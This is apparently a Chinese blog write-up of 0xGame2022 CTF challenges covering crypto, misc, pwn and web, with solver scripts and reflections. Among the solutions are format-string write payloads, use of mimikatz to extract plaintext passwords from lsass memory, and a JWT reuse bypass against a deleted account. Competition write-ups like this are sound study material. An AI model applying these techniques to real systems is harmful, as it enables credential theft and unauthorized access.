solver.add(x0 * 2312777622 + x1 * 1817334395 + x2 * 1138529684 + x3 * 3773604428 + x4 * 1935211151 + x5 * 2213289840 + x6 * 377676625 + x7 * 1196080510 + x8 * 1199201227 + x9 * 2631999064 + x10 * 2323693808 + x11 * 3341119621 + x12 * 4082235941 + x13 * 1108916057 + x14 * 4084043198 + x15 * 3777740051 + x16 * 625149649 + x17 * 2152448475 + x18 * 2880243061 + x19 * 2428704446 + x20 * 747636324 + x21 * 3509162185 + x22 * 2883831894 + x23 * 414518377 + x24 * 3814902119 + x25 * 2824636355 + x26 * 247901663 + x27 * 386586108 + x28 * 1765102390 + x29 * 18084913 + x30 * 3764887142 + x31 * 1394818146 == 123317982529357675593)
solver.add(x0 * 2391932865 + x1 * 1997583865 + x2 * 3809734451 + x3 * 92863853 + x4 * 252092837 + x5 * 4213171834 + x6 * 935980948 + x7 * 2427304675 + x8 * 2544835044 + x9 * 1740512234 + x10 * 2320698790 + x11 * 1671324494 + x12 * 3667386361 + x13 * 4067418541 + x14 * 157438085 + x15 * 2118582852 + x16 * 1441120116 + x17 * 2280200848 + x18 * 4208695179 + x19 * 1106492516 + x20 * 2587300334 + x21 * 3381272823 + x22 * 372050960 + x23 * 428062772 + x24 * 1286515897 + x25 * 22829630 + x26 * 1687635288 + x27 * 148405470 + x28 * 1814450870 + x29 * 1463318313 + x30 * 3619227493 + x31 * 3925731221 == 126768559219496596529)
solver.add(x0 * 2347575350 + x1 * 1308889115 + x2 * 816706 + x3 * 170180207 + x4 * 685204177 + x5 * 288117352 + x6 * 1596053028 + x7 * 4247787399 + x8 * 31917025 + x9 * 2353281381 + x10 * 3185744134 + x11 * 2003614228 + x12 * 1662365886 + x13 * 2980988429 + x14 * 1627703790 + x15 * 611495148 + x16 * 1131728868 + x17 * 1957109115 + x18 * 384617144 + x19 * 1191742837 + x20 * 2946660792 + x21 * 3628902190 + x22 * 1497475406 + x23 * 3239518215 + x24 * 3998343997 + x25 * 2046453265 + x26 * 4212348310 + x27 * 1965589374 + x28 * 1828186543 + x29 * 1017928266 + x30 * 1620042354 + x31 * 727553879 == 127606112624935498339)
solver.add(x0 * 832094402 + x1 * 3314572044 + x2 * 488868442 + x3 * 1841935151 + x4 * 1171324799 + x5 * 3471299188 + x6 * 2551569670 + x7 * 2706142177 + x8 * 1413270141 + x9 * 2799345217 + x10 * 1736078138 + x11 * 2640026379 + x12 * 3309523775 + x13 * 708228019 + x14 * 187736002 + x15 * 104108754 + x16 * 2004810 + x17 * 3509194834 + x18 * 1101418726 + x19 * 3213850540 + x20 * 3057147817 + x21 * 2872087805 + x22 * 2543533871 + x23 * 1405445933 + x24 * 3453063846 + x25 * 4186228310 + x26 * 2620809382 + x27 * 2719800494 + x28 * 2919918455 + x29 * 216899503 + x30 * 2182290754 + x31 * 674368800 == 146513328826081369964)
solver.add(x0 * 3379659353 + x1 * 31185134 + x2 * 2705610804 + x3 * 1311536103 + x4 * 660262997 + x5 * 1502856668 + x6 * 826236852 + x7 * 1397745099 + x8 * 2502632519 + x9 * 3208481979 + x10 * 2304290531 + x11 * 315497265 + x12 * 997141305 + x13 * 1495605164 + x14 * 1363724399 + x15 * 228866868 + x16 * 2175251957 + x17 * 3389971630 + x18 * 3635887769 + x19 * 1257419666 + x20 * 1525795938 + x21 * 3607149798 + x22 * 3014126932 + x23 * 3279147474 + x24 * 298781431 + x25 * 459143014 + x26 * 219295357 + x27 * 1281424290 + x28 * 57884126 + x29 * 3878979772 + x30 * 2624360304 + x31 * 2540908447 == 125780026597502848309)
solver.add(x0 * 4141491113 + x1 * 388348346 + x2 * 2889238267 + x3 * 3733701272 + x4 * 1601705709 + x5 * 1456475651 + x6 * 948577705 + x7 * 697474119 + x8 * 3725363803 + x9 * 3494425037 + x10 * 2404375304 + x11 * 1395091741 + x12 * 2014936811 + x13 * 3226479938 + x14 * 97991957 + x15 * 2571009732 + x16 * 2169251700 + x17 * 445613394 + x18 * 3338254578 + x19 * 3100217642 + x20 * 450233404 + x21 * 1452263534 + x22 * 3323263008 + x23 * 1281259019 + x24 * 2881501240 + x25 * 3853647762 + x26 * 3872612425 + x27 * 3625904675 + x28 * 28491161 + x29 * 837865088 + x30 * 3019749606 + x31 * 3755559168 == 145685276087861502602)
solver.add(x0 * 868978565 + x1 * 1880902698 + x2 * 2147687639 + x3 * 3919867658 + x4 * 1156685196 + x5 * 1258174623 + x6 * 985400361 + x7 * 2158611251 + x8 * 1736758238 + x9 * 1949766062 + x10 * 2648425083 + x11 * 675668374 + x12 * 1793502003 + x13 * 1336203958 + x14 * 915529071 + x15 * 1122262796 + x16 * 4218938706 + x17 * 3220340687 + x18 * 36734 + x19 * 3241657248 + x20 * 2771578913 + x21 * 29182553 + x22 * 50755641 + x23 * 1762070976 + x24 * 3306888932 + x25 * 2636754670 + x26 * 3631173493 + x27 * 1644653937 + x28 * 2618008158 + x29 * 4191824826 + x30 * 3192806718 + x31 * 2190278270 == 144549374105911908218)
solver.add(x0 * 136541182 + x1 * 2398358896 + x2 * 2797311504 + x3 * 2901208986 + x4 * 2703442703 + x5 * 2774784461 + x6 * 2896299321 + x7 * 3629629347 + x8 * 2661198340 + x9 * 2375796526 + x10 * 2881309577 + x11 * 3914693638 + x12 * 2474743366 + x13 * 1451731319 + x14 * 2469518941 + x15 * 585788456 + x16 * 1081804477 + x17 * 533018429 + x18 * 1414204985 + x19 * 3497925490 + x20 * 3647335419 + x21 * 1664992968 + x22 * 1447923481 + x23 * 3405490146 + x24 * 249505201 + x25 * 2233596994 + x26 * 1410924969 + x27 * 2337291136 + x28 * 1379480160 + x29 * 744913417 + x30 * 2626213460 + x31 * 433230044 == 152842832971821875727)
solver.add(x0 * 1014008577 + x1 * 39181748 + x2 * 1609902830 + x3 * 63541537 + x4 * 1956421427 + x5 * 2909152377 + x6 * 3644591420 + x7 * 2245163593 + x8 * 4286399149 + x9 * 1403326636 + x10 * 2505241388 + x11 * 3866291259 + x12 * 2191815293 + x13 * 3790086170 + x14 * 3670225237 + x15 * 4242912516 + x16 * 3946904107 + x17 * 1837747940 + x18 * 3855688508 + x19 * 562956386 + x20 * 890540326 + x21 * 3159132292 + x22 * 2704578526 + x23 * 2105117563 + x24 * 3103140980 + x25 * 1827417523 + x26 * 483250618 + x27 * 3611418104 + x28 * 876993421 + x29 * 1524092496 + x30 * 1409341189 + x31 * 3793036452 == 171784010999187327978)
solver.add(x0 * 766382107 + x1 * 1796925795 + x2 * 2252539335 + x3 * 349697888 + x4 * 2128341206 + x5 * 237551020 + x6 * 3435605863 + x7 * 3509292666 + x8 * 2464261299 + x9 * 3708905227 + x10 * 306252195 + x11 * 1348134057 + x12 * 872885862 + x13 * 3230301891 + x14 * 4223976431 + x15 * 2129576385 + x16 * 184274380 + x17 * 1339568775 + x18 * 240471204 + x19 * 4208060501 + x20 * 3866337301 + x21 * 1736393059 + x22 * 4084431732 + x23 * 3779198617 + x24 * 3474528562 + x25 * 3227302577 + x26 * 1764448184 + x27 * 1745641228 + x28 * 3436861592 + x29 * 3395770976 + x30 * 3381022139 + x31 * 297539769 == 159926095018550107875)
solver.add(x0 * 2905996883 + x1 * 3368852349 + x2 * 2813356621 + x3 * 482055211 + x4 * 1197172847 + x5 * 731391015 + x6 * 2945886565 + x7 * 3467015148 + x8 * 537949256 + x9 * 2535535996 + x10 * 1176357138 + x11 * 3396182730 + x12 * 2858025536 + x13 * 3563590525 + x14 * 4141138247 + x15 * 3391692063 + x16 * 2595437915 + x17 * 234965395 + x18 * 1117742031 + x19 * 3427440116 + x20 * 3558609028 + x21 * 112305692 + x22 * 238895413 + x23 * 2820696874 + x24 * 1930124190 + x25 * 2904137135 + x26 * 3600773562 + x27 * 54663135 + x28 * 968260380 + x29 * 2500702039 + x30 * 3005295995 + x31 * 4136599497 == 147261348508848582047)
solver.add(x0 * 3421877383 + x1 * 444332646 + x2 * 3066582397 + x3 * 410262930 + x4 * 2799546449 + x5 * 2190731430 + x6 * 3607309350 + x7 * 2329930437 + x8 * 2678982918 + x9 * 2797446341 + x10 * 3884979666 + x11 * 757321735 + x12 * 272692453 + x13 * 1039573000 + x14 * 1106227562 + x15 * 1967995121 + x16 * 3818641657 + x17 * 2958463100 + x18 * 693634090 + x19 * 4116131146 + x20 * 3604001650 + x21 * 1238373233 + x22 * 3200266845 + x23 * 3957996712 + x24 * 3653451723 + x25 * 2961370342 + x26 * 3043337802 + x27 * 1398445668 + x28 * 3133330721 + x29 * 679074840 + x30 * 3563156569 + x31 * 176796959 == 167538035640995956562)
solver.add(x0 * 3407463393 + x1 * 2954388381 + x2 * 3398321376 + x3 * 703750584 + x4 * 719140271 + x5 * 4255500079 + x6 * 683637205 + x7 * 3659297114 + x8 * 618688496 + x9 * 2469121759 + x10 * 3644135823 + x11 * 1311631006 + x12 * 3732181084 + x13 * 2946211492 + x14 * 3723132383 + x15 * 1325756630 + x16 * 568937023 + x17 * 3359219977 + x18 * 2395244206 + x19 * 4246808660 + x20 * 2956191019 + x21 * 494313100 + x22 * 3493565032 + x23 * 2125356358 + x24 * 293383341 + x25 * 2881003778 + x26 * 1563660838 + x27 * 2562578871 + x28 * 4144554067 + x29 * 22718298 + x30 * 2390441161 + x31 * 3851902251 == 149364132975709163594)
solver.add(x0 * 3700867328 + x1 * 162482258 + x2 * 172681360 + x3 * 673608768 + x4 * 3896952374 + x5 * 1606330254 + x6 * 2557779118 + x7 * 2839188805 + x8 * 789655247 + x9 * 3424210560 + x10 * 100545829 + x11 * 3936538736 + x12 * 1653944730 + x13 * 2102833767 + x14 * 3306727712 + x15 * 599821842 + x16 * 2700883336 + x17 * 2593372272 + x18 * 4217672760 + x19 * 1547041783 + x20 * 3434126938 + x21 * 356726724 + x22 * 3095721683 + x23 * 2932731911 + x24 * 4136374907 + x25 * 730165508 + x26 * 3627218359 + x27 * 2518974159 + x28 * 3248668960 + x29 * 1495203249 + x30 * 2284224748 + x31 * 1790575076 == 139010541840838007430)

if solver.check() == sat:
    m = solver.model()
    print(m[x0].as_long()+m[x1].as_long()+m[x2].as_long()+m[x3].as_long()+m[x4].as_long()+m[x5].as_long()+m[x6].as_long()+m[x7].as_long()+m[x8].as_long()+m[x9].as_long()+m[x10].as_long()+m[x11].as_long()+m[x12].as_long()+m[x13].as_long()+m[x14].as_long()+m[x15].as_long()+m[x16].as_long()+m[x17].as_long()+m[x18].as_long()+m[x19].as_long()+m[x20].as_long()+m[x21].as_long()+m[x22].as_long()+m[x23].as_long()+m[x24].as_long()+m[x25].as_long()+m[x26].as_long()+m[x27].as_long()+m[x28].as_long()+m[x29].as_long()+m[x30].as_long()+m[x31].as_long())

=Bezout=

童鞋，pwn也很好玩的，要不要来试试？

TL;DR:

  • 因为手输会在行末加"\n"，必须用pwntools交互
  • SHA256破解，可以用hashcat
  • 解方程，用z3-solver
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

from pwn import *
from z3 import *
import re
import os

context(log_level="debug")

s = remote("124.223.224.73", 10002)


def phase1(s):
    s.recv()
    dat = s.recv()
    hash1 = dat.split(b" ")[-6].strip(b"\n[+]").decode()
    hash2 = re.findall(b"sha256\(XXXX\+(.*?)\)", dat)[0].decode()
    os.system(f"hashcat.exe -m 1400 -a 3 -D 1,2 {hash1} ?a?a?a?a{hash2}")
    finalHash = input("Input final hash here: ")
    s.send(finalHash.encode())


def phase2(ss):
    ss.recv()
    dat = ss.recv()
    a = int(re.findall(b"a = (.*?)\n", dat)[0])
    b = int(re.findall(b"b = (.*?)\n", dat)[0])
    c = int(re.findall(b"c = (.*?)\n", dat)[0])
    log.warning(f"a: {a} b: {b} c: {c}")

    z3_s = Solver()
    ins_s = Int('s')
    ins_t = Int('t')
    z3_s.add(a * ins_s + b * ins_t == c)
    if z3_s.check() == sat:
        print(z3_s.model())
    sss = input("Input s: ")
    s.send(sss)
    ttt = input("Input t: ")
    s.send(ttt)


if __name__ == "__main__":
    s = remote("124.223.224.73", 10002)
    phase1(s)
    phase2(s)
    s.interactive()

公平竞争

playfair $==$ 公平竞争

hint: playfair

那好吧去看看。

哦就这啊。

规则记住，只用两根手指就能做完这道题了呢（

RSA大闯关

数学好难

step3解不出hint，暂时放弃（

PWN

呜呜呜太菜了fmt只会第一题，感觉还是没完全搞懂

PWN1

try #1

aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p……

发现0x6161616161616161出现在第6个位置

1

p=b"%58%6$n"+b"\x50\x40\x40"

FAILED

try #2

用Fmtstr梭了一把

1

p=b"%66%8$n"+b"\x50\x40\x40"

SUCCESS

先MARK过两天问问（

Week 3

高数线代好难QWQ

MISC

BabyUSB

第二个包好办，接近末尾的HTTP包里有一半密码，password=[$password#2]

第一个包打开可以看到一堆USB，包里还有HID [***] device之类的东西，估计就是键盘/鼠标了。

参见CTF-wiki > MISC > 流量分析 > USB可知，不管是鼠标还是键盘都有工具可以一把梭。

但是我从来都没法一把梭的体质又发作了，那就手动来吧

接着往下翻，键盘数据包每个都是8个Byte，那就wireshark过滤一波usb.len==8，然后参照脚本里的对照表，把数据手动提出来

最后拿到$password#1，解密压缩包拿到flag。

螺旋升天

仍然记得之前玩算法的时候走过螺旋迷宫

btw听说有人真的手动敲了289个byte

密码明文，好耶⬆

压缩包损坏，坏耶⬇

打开密码看看，嘶螺旋的，那压缩包估计也……

289Byte？17x17？正好是个方阵？

开搞开搞！

step1: 把压缩包二进制数据dump下来，准备喂进cpp
1
2
3
4
5
6
7

with open("flag.zip","rb")as f:
    dat=f.read()
    f.close()
with open("out.txt","w")as f:
    f.write("int a[20][20]={")
    for e in dat:
        f.write(str(int(e))+",")
step2: C++处理螺旋矩阵

虽然py也能写但我更熟悉C++所以……别骂了别骂了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<cstdio>
using namespace std;
bool mapp[17][17];
int a[17][17] = { 80,75,3,4,20,0,9,0,99,0,6,63,250,84,246,45,20,162,221,20,9,135,237,53,117,55,183,232,228,248,120,200,14,40,169,59,247,92,255,80,75,7,8,246,45,20,40,74,0,226,74,12,84,8,0,47,0,0,0,0,0,0,0,32,0,0,8,0,79,62,0,91,30,130,160,216,1,47,194,60,101,0,0,57,0,216,212,0,139,0,80,75,5,6,0,0,0,130,0,44,111,0,73,11,0,241,8,0,0,0,0,0,0,0,160,0,0,126,44,153,254,44,0,3,0,0,0,0,0,0,1,216,0,0,37,0,187,165,0,24,69,0,0,0,0,0,0,0,1,0,0,55,0,237,159,0,0,65,0,0,0,0,0,0,1,140,0,80,100,0,94,119,0,1,0,0,0,0,0,0,0,0,116,102,75,178,8,24,34,74,0,1,0,0,139,0,0,0,101,60,108,1,64,0,1,29,40,0,0,7,153,1,1,216,160,130,101,97,2,17,11,63,33,20,0,0,0,32,0,10,116,120,116,46,103,31,200,0,16,42,45,246,84,250,63,6,0,99,0,9,0,20,0,26,102,73,93,151,112,64,47,119,90,40,254,192,222,72,250,68,49,108,0,8,3,69,65,0,1,0,7,153,1,116,120,116,46,103,97 };
int out[17][17] = { 0 };
int main() {
	memset(out, 0, sizeof(0));
	memset(mapp, 1, sizeof(mapp));
	int i = 0, j = 0, cnt = 0;
	int oi = 0, oj = 0;
	int d = 0;
	// 0 r
	// 1 d
	// 2 l
	// 3 u
	while (cnt < 289) {
		cnt++;
		mapp[i][j] = 0;
		out[oi][oj] = a[i][j];
		if (oj < 16) oj++;
		else if (oj == 16) {
			oi++; oj = 0;
		}
		if (d == 0) {
			if ((j == 16) || (!mapp[i][j + 1])) {
				d++; i++;
			}
			else j++;
		}
		else if (d == 1) {
			if ((i == 16) || (!mapp[i + 1][j])) {
				d++; j--;
			}
			else i++;
		}
		else if (d == 2) {
			if ((j == 0) || (!mapp[i][j - 1])) {
				d++; i--;
			}
			else j--;
		}
		else if (d == 3) {
			if (!mapp[i - 1][j]) {
				d = 0; j++;
			}
			else i--;
		}
	}
	int out_cnt = 0;
	for (int i = 0; i < 17; i++) {
		for (int j = 0; j < 17; j++) {
			out_cnt++;
			printf("\\x%02x", out[i][j]);
			//if (out_cnt % 16 == 0) cout << endl;
		}
	}
}
step3: 再喂回py写入新zip
1
2
3
4

dat=b"\x50\x4b\x03\x04\x14\x00\x09\x00\x63\x00\x06\x3f\xfa\x54\xf6\x2d\x14\x28\x4a\x00\x00\x00\x2c\x00\x00\x00\x08\x00\x0b\x00\x66\x6c\x61\x67\x2e\x74\x78\x74\x01\x99\x07\x00\x01\x00\x41\x45\x03\x08\x00\x49\x10\x3f\x01\x18\x5e\xed\xbb\x99\x49\xd8\x4f\x0c\xa9\xa2\xdd\x14\x09\x87\xed\x35\x75\x37\xb7\xe8\xe4\xf8\x78\xc8\x0e\xe2\x08\x39\x6f\x7e\x25\x37\x64\xb2\x40\x11\xc8\x1a\x31\x44\xfa\x48\xde\xc0\xfe\x28\x5a\x77\x2f\x40\x70\x97\x5d\x2a\x21\x1d\x22\x77\x9f\xa5\xfe\x0b\xd4\x3e\x54\x3b\xf7\x5c\xff\x50\x4b\x07\x08\xf6\x2d\x14\x28\x4a\x00\x00\x00\x2c\x00\x00\x00\x50\x4b\x01\x02\x1f\x00\x14\x00\x09\x00\x63\x00\x06\x3f\xfa\x54\xf6\x2d\x14\x28\x4a\x00\x00\x00\x2c\x00\x00\x00\x08\x00\x2f\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x66\x6c\x61\x67\x2e\x74\x78\x74\x0a\x00\x20\x00\x00\x00\x00\x00\x01\x00\x18\x00\xf1\x8b\x5b\x1e\x82\xa0\xd8\x01\x2f\xc2\x3c\x65\x82\xa0\xd8\x01\x8c\x74\x3c\x65\x82\xa0\xd8\x01\x01\x99\x07\x00\x01\x00\x41\x45\x03\x08\x00\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x65\x00\x00\x00\x8b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
with open("out.zip","wb")as f:
    f.write(dat)
    f.close()

别骂了别骂了孩子真的不熟悉在py里写算法（

证取单简

为什么不试试0xGame2022呢？

volatility & mimikatz plugin 一把梭

首先看一眼进程，有个notepad.exe

试一下editbox/clipboard出来一段字符串，hashdump有两个出题人zysgmzb和zysgmzb1。

带1的NTLM可以直接查出来，不带的查不出来。（虽然后来发现确实没用但还是说一下）

把目光重新投向字符串，嘶最后几位挺眼熟啊，好像是"Salted_" base64&revert 之后的内容啊，符合某傻瓜AES加密的特征

结合题目名称，反转之，让我们来想想密码是啥。

先用查出来的，各种姿势都来一遍，无果。

也尝试过恩爆8位，没出来。后来直拍大腿——早知道改10位了（逃

然后了解到正在运行的windows中，lsass进程会存在明文密码，可以用mimikatz梭出来。

先用的standalone版本，失败，然后再改插件，0xGame2022。

有谁能帮忙锤出题人吗？有偿，一顿疯狂星期四行不行？

解密之。

Time To Live

先查查这玩意都考过啥。

哦前几个二进制位藏东西是吧，那先简单来波统计。

果然，就前四位不一样。

照着现有的wp中的py代码随便改改，一段字符串就来了。

直接写入文件啥也没有，把前几个byte丢进搜索引擎出来了一个有人在问base64无法解码图片的事情。

base64？图片？

加个头丢进站长工具，一张图片到手。

结合题目出现了n多次的“水”，猜测水印相关。

再查查，一个JAVA的项目就来了。

python的项目需要原图和隐写图所以pass

当时傻逼了只看到linux版本没看到windows版本mddddddddd

梭一把就出来了。

记得把Example里的余弦变换换成傅里叶变换。

Week 4

没想到第四周了我居然还能开张

web

profile

X佬orz

源码审计这种东西静不下心一定别做

首先，不管什么用户，只要按后端流程创建一定restricted，且题目并未提示存在特权用户。

其次，javaScript弱类型。

再次，漏flag的关键点只在profile点，判user属性restricted是否为true的位置。

漏洞点：

1
2
3
4
5
6
7
8

app.get("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.send(user.restricted ? user.profile : flag);
});

根据Endpoint及中间件要求，你需要有一个由server签发的合法JWT。

但是这个JWT对应的user可能并不存在

然后从JWT中解析出对应的uid，从数据库中取出对应用户，读取其restricted属性是否为true。

正常走流程肯定是过不了了，那如果请求的是一个不存在的用户会发生什么呢？

但如果这个用户不存在，变量user会接收到Null，进而其并没有restricted属性，还是返回Null，Null => false，flag就来了。

那还需要个从合法的、不存在的用户拿到的token（因为存在的用户会返回对应profile）。

那就先瞎注册一个，拿到token之后再注销不就完事了。反正token的生命周期里没有revoke。

1
2
3
4
5
6
7

 -> POST /register
 <- 201, cookie["token"]
 -- DUMP cookie["token"]=>fake["token"]
 -> POST /delete cookie["token"]
 <- 204, cookie.delete("token")
 -> GET /profile fake["token"]
 <- 200, flag{...}

顺路吐槽一波谁注册了一个admin账户害得我以为是admin有特权……

CRYPTO

MTP

万物皆可梭

随便搜一搜找到这里

直接梭，看到很明显的单词调一下know函数。

以后 full-mesh wireguard 隧道私钥别用同一个了，找一个/写一个集中管理系统吧……

我也不知道取啥名字捏

没活了.jpg

去网上搜一搜getStrongPrime getrandbits nextPrime就能找到类似题目的wp，改一改关键参数然后梭就完事了。

ECC

论公钥私钥生成元都给了的ECC能有多难:)

只要你能静下心去看ECC加密过程，这题纯白给。

m=c2-c1*k ，然后l2b即可。

MISC

SIMPLE_QR

感谢章鱼烧的仁慈（鞠躬

首先拿到一张被泼了墨的二维码。

STEP1: 先修一修

仅针对这道题，用stegsolve随便点两下就能扫出来了。

下次可以把二维码撕一半或者烧一块（逃

用QrazyBox这个工具可以很方便的恢复二维码，但记得先补好三个角上的定位点。

这里你如果用了PS会发现报错，打不开，埋个伏笔。我是先找个网站反色然后再丢进去，后来证明这一步完全没必要（

解出来半段UUID: 0xGame{........-....-????

STEP2: Lets go deeper into IDAT

还记得之前PS的报错吗？

010editor/pngcheck -v可以非常明显的看出来， “能解析出来的” 最后一个块有问题。

根据PNG的数据块结构可知这个IDAT少了前四个byte的大小。但这不是重点，重点在这个块里面的数据。

解压之，附件1给的是纠错码（截止交稿前还不会解），附件2直接给了个长度1089的二进制串。

快说，谢谢你，章鱼烧

STEP2.2: 1089==37*37

1089==37*37。随便用CTF MISC 二维码搜一搜就能找到生成二维码的脚本。

又来一段UUID: ....-...........}

STEP3: Lets go further deeper into PNG

再看看PNG结构，仅IHDR,IDAT,IEND必须，其余均可选，IHDR和IEND在单个PNG内均唯一。

嘶两个IEND……难道这个IEND不只是提示第二段flag结束？

再看看后面的内容……嘶好像是IHDR里的宽高？

手动添加PNG头、IHDR块，导出之。

????<=>....

并不能算总结的总结

问卷题一血真的公开处刑

高数线代好难:(

还是懈怠了，要不然还能再冲一冲分。

大爹太多了呜呜呜，都已经在对应领域深耕好几年，我等菜鸡真的赶不上。

通过CTF学习新东西吧。日后可能会双修web和pwn或者分个主辅吧……

也许，还可以更自信一些？有些题明明具备能力却不敢解……

总之，校内名次好像不错的样子（第四嘿嘿 第一全方向大爹 第二web、crypto爹 第三全栈爹

最后借用我开学前机场候机厅里发的一句话：四年之后，希望这里是梦开始的地方。

后记

一点补充：

这篇WriteUp完成于2022年10月，不过当时我还没有博客，就先存了起来，等到下一年的4月终于有博客了才发出来。

关于pwn：

第一周：nc、ret2text，32/64位传参规则，ret2shellcode，ret2libc，可见字符shellcode。

第二周：格式化字符串fmt，附件目前不太好找我就咕了。但我直接看的任意地址写任意值，还有非栈上的格式化字符串，感觉这类题就可以杀穿了。

第三周：Open-Read-Write(ORW)，开了沙盒之后你要怎么办。以及_environ泄露栈，一些其他的小trick

第四周：堆初步，一个堆溢出，还有一个堆利用入门之后会觉得是“光着”的UAF。

附件详见X1cT34m Github 0xGame2022

可以看看0xdeadcode的WP。入了门之后这些题就是水题了=.=。

更新于 2023-04-04 
CTFPWNCRYPTOMISCWEBRE
返回 | 主页
0%